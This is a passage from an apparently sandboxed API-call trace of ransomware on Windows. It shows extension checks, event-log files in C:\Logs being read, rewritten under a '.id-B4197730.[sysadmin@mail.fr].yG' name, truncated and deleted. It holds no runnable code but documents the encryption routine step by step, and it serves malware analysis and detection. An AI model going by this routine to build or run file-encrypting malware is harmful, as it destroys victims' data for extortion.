	[0050.090] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString=".docx") returned 5
	[0050.090] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.090] lstrlenW (lpString=".pdf") returned 4
	[0050.090] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString=".xls") returned 4
	[0050.090] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString=".xlsx") returned 5
	[0050.090] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.090] lstrlenW (lpString=".ppt") returned 4
	[0050.090] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.090] lstrlenW (lpString=".zip") returned 4
	[0050.090] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString=".rar") returned 4
	[0050.090] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString=".bz2") returned 4
	[0050.090] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString=".7z") returned 3
	[0050.090] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.090] lstrlenW (lpString=".dbf") returned 4
	[0050.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.090] lstrlenW (lpString=".1cd") returned 4
	[0050.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0050.090] lstrlenW (lpString=".jpg") returned 4
	[0050.090] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.090] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.090] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48
	[0050.091] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0050.091] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1052672) returned 1
	[0050.091] CloseHandle (hObject=0x350) returned 1
	[0050.091] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0050.091] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.091] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0050.091] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.091] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.091] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0050.091] GetLastError () returned 0x0
	[0050.091] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0050.933] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0051.082] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x1010, lpOverlapped=0x0) returned 1
	[0051.108] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x1020, lpOverlapped=0x0) returned 1
	[0051.215] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.216] WriteFile (in: hFile=0x398, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x134, lpOverlapped=0x0) returned 1
	[0051.216] SetEndOfFile (hFile=0x398) returned 1
	[0051.216] CloseHandle (hObject=0x398) returned 1
	[0051.568] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.568] SetEndOfFile (hFile=0x350) returned 1
	[0052.518] CloseHandle (hObject=0x350) returned 1
	[0052.518] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0052.780] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1
	[0052.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.845] lstrlenW (lpString=".doc") returned 4
	[0052.845] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.845] lstrlenW (lpString=".docx") returned 5
	[0052.845] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.845] lstrlenW (lpString=".pdf") returned 4
	[0052.845] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.845] lstrlenW (lpString=".xls") returned 4
	[0052.845] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.845] lstrlenW (lpString=".xlsx") returned 5
	[0052.845] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.845] lstrlenW (lpString=".ppt") returned 4
	[0052.846] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString=".zip") returned 4
	[0052.846] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".rar") returned 4
	[0052.846] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".bz2") returned 4
	[0052.846] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".7z") returned 3
	[0052.846] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString=".dbf") returned 4
	[0052.846] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString=".1cd") returned 4
	[0052.846] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString=".jpg") returned 4
	[0052.846] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString=".doc") returned 4
	[0052.846] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".docx") returned 5
	[0052.846] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.846] lstrlenW (lpString=".pdf") returned 4
	[0052.846] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".xls") returned 4
	[0052.846] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".xlsx") returned 5
	[0052.846] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.846] lstrlenW (lpString=".ppt") returned 4
	[0052.846] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.846] lstrlenW (lpString=".zip") returned 4
	[0052.846] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.846] lstrlenW (lpString=".rar") returned 4
	[0052.846] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.847] lstrlenW (lpString=".bz2") returned 4
	[0052.847] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.847] lstrlenW (lpString=".7z") returned 3
	[0052.847] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.847] lstrlenW (lpString=".dbf") returned 4
	[0052.847] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.847] lstrlenW (lpString=".1cd") returned 4
	[0052.847] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0052.847] lstrlenW (lpString=".jpg") returned 4
	[0052.847] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.847] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0052.847] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46
	[0052.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0052.847] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0052.848] CloseHandle (hObject=0x350) returned 1
	[0052.848] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0052.848] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0052.848] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.848] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0052.848] GetLastError () returned 0x0
	[0052.848] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0052.922] WriteFile (in: hFile=0x2e4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0052.924] ReadFile (in: hFile=0x350, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.924] WriteFile (in: hFile=0x2e4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x130, lpOverlapped=0x0) returned 1
	[0052.924] SetEndOfFile (hFile=0x2e4) returned 1
	[0052.924] CloseHandle (hObject=0x2e4) returned 1
	[0052.926] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.926] SetEndOfFile (hFile=0x350) returned 1
	[0052.927] CloseHandle (hObject=0x350) returned 1
	[0052.927] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0052.927] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1
	[0052.927] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.927] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.927] lstrlenW (lpString=".doc") returned 4
	[0052.928] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString=".docx") returned 5
	[0052.928] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.928] lstrlenW (lpString=".pdf") returned 4
	[0052.928] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString=".xls") returned 4
	[0052.928] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString=".xlsx") returned 5
	[0052.928] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.928] lstrlenW (lpString=".ppt") returned 4
	[0052.928] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.928] lstrlenW (lpString=".zip") returned 4
	[0052.928] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString=".rar") returned 4
	[0052.928] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString=".bz2") returned 4
	[0052.928] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString=".7z") returned 3
	[0052.928] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.928] lstrlenW (lpString=".dbf") returned 4
	[0052.928] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.928] lstrlenW (lpString=".1cd") returned 4
	[0052.928] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.928] lstrlenW (lpString=".jpg") returned 4
	[0052.928] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.928] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.928] lstrlenW (lpString=".doc") returned 4
	[0052.928] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString=".docx") returned 5
	[0052.929] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0052.929] lstrlenW (lpString=".pdf") returned 4
	[0052.929] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString=".xls") returned 4
	[0052.929] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString=".xlsx") returned 5
	[0052.929] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0052.929] lstrlenW (lpString=".ppt") returned 4
	[0052.929] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.929] lstrlenW (lpString=".zip") returned 4
	[0052.929] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString=".rar") returned 4
	[0052.929] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString=".bz2") returned 4
	[0052.929] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString=".7z") returned 3
	[0052.929] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0052.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.929] lstrlenW (lpString=".dbf") returned 4
	[0052.929] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.929] lstrlenW (lpString=".1cd") returned 4
	[0052.929] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0052.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0052.929] lstrlenW (lpString=".jpg") returned 4
	[0052.929] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0052.929] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0052.929] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42
	[0052.929] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0052.952] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0052.952] CloseHandle (hObject=0x380) returned 1
	[0052.952] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0052.952] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0052.952] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.952] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0052.953] GetLastError () returned 0x0
	[0052.953] ReadFile (in: hFile=0x380, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.107] WriteFile (in: hFile=0x39c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.108] ReadFile (in: hFile=0x380, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.108] WriteFile (in: hFile=0x39c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x128, lpOverlapped=0x0) returned 1
	[0053.108] SetEndOfFile (hFile=0x39c) returned 1
	[0053.129] CloseHandle (hObject=0x39c) returned 1
	[0053.142] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.142] SetEndOfFile (hFile=0x380) returned 1
	[0053.156] CloseHandle (hObject=0x380) returned 1
	[0053.156] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.157] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1
	[0053.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.157] lstrlenW (lpString=".doc") returned 4
	[0053.157] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.157] lstrlenW (lpString=".docx") returned 5
	[0053.157] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.157] lstrlenW (lpString=".pdf") returned 4
	[0053.158] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString=".xls") returned 4
	[0053.158] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString=".xlsx") returned 5
	[0053.158] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.158] lstrlenW (lpString=".ppt") returned 4
	[0053.158] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.158] lstrlenW (lpString=".zip") returned 4
	[0053.158] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString=".rar") returned 4
	[0053.158] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString=".bz2") returned 4
	[0053.158] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString=".7z") returned 3
	[0053.158] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.158] lstrlenW (lpString=".dbf") returned 4
	[0053.158] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.158] lstrlenW (lpString=".1cd") returned 4
	[0053.158] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.158] lstrlenW (lpString=".jpg") returned 4
	[0053.158] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.158] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.158] lstrlenW (lpString=".doc") returned 4
	[0053.158] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString=".docx") returned 5
	[0053.159] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.159] lstrlenW (lpString=".pdf") returned 4
	[0053.159] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString=".xls") returned 4
	[0053.159] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString=".xlsx") returned 5
	[0053.159] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.159] lstrlenW (lpString=".ppt") returned 4
	[0053.159] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.159] lstrlenW (lpString=".zip") returned 4
	[0053.159] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString=".rar") returned 4
	[0053.159] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
